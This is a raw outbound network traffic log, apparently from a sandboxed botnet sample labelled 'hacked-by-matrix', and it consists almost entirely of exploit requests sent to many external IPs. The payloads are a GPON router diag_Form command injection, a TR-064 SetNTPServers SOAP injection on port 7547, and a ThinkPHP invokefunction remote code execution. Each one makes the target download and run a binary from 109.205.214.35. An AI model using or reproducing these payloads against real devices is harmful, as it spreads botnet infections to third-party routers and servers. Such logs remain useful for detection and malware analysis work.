Mar 21, 2024 05:22:29.286557913 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
820	192.168.2.14	57730	79.185.222.2	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:29.286614895 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
821	192.168.2.14	32890	210.174.114.28	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:29.286636114 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
822	192.168.2.14	57168	209.94.149.123	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:30.014097929 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
823	192.168.2.14	57188	209.94.149.123	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:30.150280952 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
824	192.168.2.14	57182	209.94.149.123	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:31.007213116 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:31.741700888 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
825	192.168.2.14	55768	47.147.156.206	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:31.047952890 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:31.969348907 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
826	192.168.2.14	52046	86.153.18.112	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:31.049460888 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:35.197335005 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:41.341305971 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
827	192.168.2.14	55774	47.147.156.206	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:31.354901075 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:32.285451889 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:33.375294924 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
828	192.168.2.14	46148	109.59.155.238	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:31.379342079 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
829	192.168.2.14	55278	196.235.235.89	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:31.382029057 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
830	192.168.2.14	44554	177.96.9.84	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:31.386276007 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:32.509488106 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:33.853894949 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:36.733464956 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:42.109119892 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:52.865556002 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
831	192.168.2.14	55804	47.147.156.206	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:31.528394938 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
832	192.168.2.14	46178	109.59.155.238	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:31.586685896 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
833	192.168.2.14	55308	196.235.235.89	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:31.599219084 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
834	192.168.2.14	56736	88.216.96.216	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:32.044425011 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:32.397298098 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:32.502851963 CET	219	IN	HTTP/1.1 400 Bad request Content-length: 90 Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
835	192.168.2.14	45962	95.179.159.161	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:32.119885921 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:33.091352940 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
